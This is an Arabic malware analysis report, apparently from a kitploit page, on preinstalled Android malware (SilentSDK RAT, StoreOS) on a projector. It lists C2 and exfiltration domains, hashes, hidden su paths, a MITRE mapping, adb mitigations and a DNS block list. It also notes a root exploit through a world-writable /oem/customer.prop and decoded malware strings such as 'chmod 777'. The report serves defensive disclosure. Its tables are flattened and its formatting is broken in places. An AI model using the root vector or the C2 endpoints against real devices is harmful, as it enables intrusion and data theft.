StoreOS-APK: يكتشف BitDefender Android.Riskware.TestKey.rB; لا تقوم محركات مكافحة الفيروسات الأخرى بإطلاق تنبيه.


15. مؤشرات الاختراق (IOCs)

النطاقات```text

api.pixelpioneerss.com # SilentSDK RAT C2 bur.thedynamicleap.com # SilentSDK Telemetry Exfiltration sta.smartinnovate.net # Payload Distribution store-api.aodintech.com # StoreOS App Distribution cdn-store.aodintech.com # APK Download CDN event-api.aodintech.com # Telemetry Exfiltration pb-api.aodintech.com # ExpandSDK Ad Injection ota.triplesai.com # OTA Updates api.ipdatacloud.com # IP Geolocation euads-o.api.leiniao.com # Secondary Ad Server

root@kitploit:~
### توقيعات الشبكة```text
User-Agent: okhttp/5.0.0-alpha.12
HTTP-Header: a: 1003            # SilentSDK Signature
POST /sign/app/list             # StoreOS C2 Beacon
POST /report                    # EventUpload Telemetry

الحزم والتجزئات```text

com.hotack.silentsdk SHA-256: e5a193c31526a2194d04a2... com.htc.storeos SHA-256: 3476536a5c722b9e34c53a... com.htc.eventuploadservice com.htc.expandsdk

root@kitploit:~
### نظام الملفات```text
/system/bin/qw                                   # su Binary
/dev/com.koushikdutta.superuser.daemon/server    # su Socket
/oem/customer.prop                               # World-writable
/vendor/bin/dbgserver                             # HW-Debug
/dev/hidtvreg                                    # World-writable

الأدلة الخاصة بـ SilentSDK```text

assets/m17gawxG.java # Embedded fallback payload (XOR key: "m17gawxG") TMRXwWJu3G5/ # Covert staging directory for downloaded payloads com.me.cash5.OoO0OOo # Final dynamically-loaded payload class dalvik.system.DexClassLoader # Reflectively constructed to load payload

root@kitploit:~
---

## 16. رسم خرائط MITRE ATT&CK

| التقنية | المعرف | الدليل |
|:---|:---|:---|
| اختراق سلسلة التوريد | T1195.002 | مصنع البرمجيات الخبيثة مثبت مسبقًا |
| تنفيذ بدء التشغيل التلقائي | T1547 | أولوية BootReceiver 999 |
| ملفات أو معلومات مبهمة | T1027 | سلاسل XOR، تغليف DEX، أصل مشفر بـ XOR مضمن |
| بروتوكول طبقة التطبيق | T1071 | C2 عبر HTTP/HTTPS |
| تبادل البيانات الديناميكي / حقن الحمولة | T1055 | DexClassLoader، chmod 777 |
| اكتشاف معلومات النظام | T1082 | بصمة الجهاز، توليد معرف البوت |
| بيانات من النظام المحلي | T1005 | MAC، Serial، IMEI، android_id |
| تسريب عبر قناة C2 | T1041 | إرسال بيانات دورية إلى `bur.thedynamicleap.com` |
| التمويه | T1036 | امتداد الملف .bpp، انتحال ADT-3 |
| روتكيت | T1014 | ثنائي su المخفي |
| التقاط المدخلات | T1056 | اعتراض KeyEvent لتعطيل زر الرجوع |
| إزالة المؤشرات / الحذف الذاتي | T1070 | إمكانية `isSilentUninstall: true` |
| تحميل الكود الانعكاسي | T1620 | تفعيل DexClassLoader بشكل انعكاسي |
| تراكب نافذة النظام | T1624 | معالجة SoftInputMode لإنشاء تراكبات غير مرئية |

---

## 17. تخفيفات فورية

### للمستخدمين النهائيين المتأثرين```bash
adb shell pm disable-user --user 0 com.hotack.silentsdk
adb shell pm disable-user --user 0 com.htc.storeos
adb shell pm disable-user --user 0 com.htc.eventuploadservice
adb shell pm disable-user --user 0 com.htc.expandsdk
adb shell pm disable-user --user 0 com.htc.htcotaupdate

الحظر على مستوى الشبكة```text

DNS blocking or firewall rules for:

store-api.aodintech.com cdn-store.aodintech.com sta.smartinnovate.net event-api.aodintech.com pb-api.aodintech.com api.pixelpioneerss.com bur.thedynamicleap.com ota.triplesai.com

root@kitploit:~
---

## 18. المصادر

1. زين سانت جون: "هندسة عكسية لبرمجيات ضارة مثبتة مسبقًا على أندرويد باستخدام كلود كود"، يناير 2026. https://zanestjohn.com/blog/reing-with-claude-code
2. مكتب أمن المعلومات الاتحادي (BSI): "BSI يحذر من برمجيات ضارة مثبتة مسبقًا على أجهزة إنترنت الأشياء" (BADBOX)، أكتوبر 2023.
3. تحليل VirusTotal لملف APK الخاص بـ StoreOS.

---

**فترة التحليل:** 11–17 أبريل 2026

**إخلاء مسؤولية**
لأغراض تعليمية وبحثية فقط. يُقدم هذا التقرير "كما هو" لأغراض إعلامية تتعلق بالتهديدات السيبرانية. يعتمد التحليل على لقطة من النظام البيئي الحالي للبرمجيات الضارة؛ وبما أن الهندسة العكسية هي عملية مستمرة، فقد تخضع النتائج للتغيير مع توفر بيانات جديدة.

تم إعداد هذا التقرير بحسن نية ووفقًا لأفضل ما لدي من معرفة، بناءً على تحليل البيانات الثنائية والكود المصدري المفكك. نظرًا لارتفاع مستوى التعتيم والطبيعة المتطورة للتهديد، تمثل هذه النتائج حالة بحثية حالية. بينما تدعم الأدلة بقوة الاستنتاجات المستخلصة، فهي قابلة للتحسين مع كشف المزيد من الأدلة التقنية.
تنزيل الأداة
الخاصيةالقيمة
العلامة التجاريةNonete HY260Pro (طراز تبيعه شركات متعددة)
اسم الطراز الداخليNT10
SoCAllwinner sun50iw12p1 (ARM 32-bit)
نظام التشغيلSpectraOS (Android 11, Kernel 5.4.99)
بصمة البناء الحقيقيةAllwinner/h713_tuna_p3/h713-tuna_p3:11
بصمة البناء المزيفةADT-3/adt3/adt3:11/RP1A.201005.006
SELinuxPermissive (بدون تطبيق)
مفتاح توقيع المنصةمفتاح اختبار AOSP عام
شهادة OEMCN=蓝鲨, OU=www.bsh.me, C=CN
قناة البرامج الثابتةHY260Pro_SpectraOS_TPYB
الخطوةالإجراءالنتيجة
1التقاط حركة مرور الشبكة باستخدام Wiresharkحركة HTTP إلى store-api.aodintech.com
2فك ترميز استجابة C2 المضغوطة بـ gzip7 تطبيقات، بما في ذلك "SilentTools" المخفي
3فك تشفير مسار التنزيل باستخدام AES-CBCالمفتاح [REDACTED]، رابط إلى ملف .bpp
4استغلال الجذر عبر /oem/customer.propuid=0(root) بعد حقن الخاصية
5تفريغ جنائي لـ /data، /oem، /systemملفات APK، قواعد بيانات، تكوينات
6تحليل ثابت لـ StoreOS DEXpm install -r -d، حماية عكس البايت
7هندسة عكسية لآلية reverseLenفهم الحماية ضد التحليل
8كسر حماية عكس البايتSilentSDK DEX مفكوك وقابل للتحليل
9فك تشفير سلاسل SilentSDK باستخدام XORتأكيد نطاق C2 api.pixelpioneerss.com
10التحقق من التجزئة عبر ثلاثة مصادرMD5/SHA-256 متطابقان تمامًا
11هندسة عكسية لعملية تنزيل البرمجية الخبيثةالخوادم لا تزال متصلة
12هندسة عكسية للبرمجية الخبيثةإطار عمل RAT قائم على الإضافات
التطبيقالحزمةisShowisForceisSilent InstallisSilent Uninstalllaunch Type
YouTubecom.google.android.youtube.tvtruefalsefalsefalse0
Disney+com.disney.disneyplustruefalsefalsefalse0
Netflixcom.netflix.mediaclienttruefalsefalsefalse0
Chromecom.android.chrometruefalsefalsefalse0
Prime Videocom.amazon.amazonvideo.livingroomtruefalsefalsefalse0
BrowseHerecom.tcl.browsertruefalsefalsefalse0
SilentToolscom.hotack.silentsdkfalsetruefalsetrue1
الاستدعاء المُعتمالنتيجةالوظيفة
m36g({-99,127,58,-103,...}, {-4,15,83,-73,...})api.pixelpioneerss.comنطاق C2
m36g({7,-68}, {116,-44,...})shملف شيل ثنائي لـ Runtime.exec()
m36g({-83,-92,-19,...}, {-50,-52,...})chmod 777أمر شيل
m36g({-47,-3,-68,106,-76}, {-1,-119,...}).tempلاحقة ملف مؤقت للتحميلات
m36g({125,61,58,...}, {21,73,78,...})https://البروتوكول الأساسي
m36g({0,90,58,...}, {104,46,78,...})http://احتياطي عند خطأ SSL
m36g({-22,78,57}, {-71,29,117,...})SSLبروتوكول TLS
m36g({-15}, {-112,...})aاسم رأس مخصص ← قيمة 1003
m36g({17,67,42}, {124,39,...})md5MessageDigest.getInstance("md5")
m36g({-15,90,-128,21}, {-122,51,...})wifigetSystemService("wifi")
m36g({-48,89,-25,-31,...}, {-73,60,...})getprop wifi.interfaceاحتياطي شيل: قراءة اسم الواجهة
m36g({-95,-26,-107,-91,...}, {-62,-121,...})cat /sys/class/net/احتياطي شيل: قراءة MAC (بادئة)
m36g({6,-88,45,-126,...}, {41,-55,...})/addressاحتياطي شيل: قراءة MAC (لاحقة)
m36g({10,39,105,25,...}, {58,21,...})02:00:00:00:00:00قيمة MAC زائفة من أندرويد (API 23+)
المنفذUIDالوصف
65528root (0)برنامج su الخفي
5555root (0)ADB بدون مصادقة
7889/7890system (1000)خدمة غير معروفة
10012/10013system (1000)تصحيح المصنع؟
الخادمالنقطة الطرفيةالوظيفة
store-api.aodintech.comPOST /sign/app/listتوزيع التطبيقات
sta.smartinnovate.netGET /*.jarتوزيع الحمولة
cdn-store.aodintech.comGET /*.bppتنزيل APK
event-api.aodintech.comPOST /reportالقياس عن بعد
api.pixelpioneerss.comPOST /(random)SilentSDK RAT C2
bur.thedynamicleap.com`POST (GZIP+AES)``تسريب القياس عن بعد لـ SilentSDK
pb-api.aodintech.comGET /api/collections/...تكوين الإعلانات
ota.triplesai.com:8080POST /V1/Ota/Checkتحديثات البرنامج الثابت
api.ipdatacloud.comGET /v2/queryتحديد الموقع الجغرافي IP
euads-o.api.leiniao.com—خادم إعلانات ثانوي
connect.rom.miui.com—القياس عن بعد لـ Xiaomi
القيمة المزيفة
القيمة الحقيقية
ro.build.fingerprintADT-3/adt3/adt3:11—
ro.product.build.*—Allwinner/h713_tuna_p3
تاريخ البناء—Tue Apr 22 15:20 CST 2025
SHA-256
استجابة خادم C25df097591d694...—
APK الذي فككنا تشفيره5df097591d694...e5a193c31526a...
تحليل خارجي—e5a193c31526a...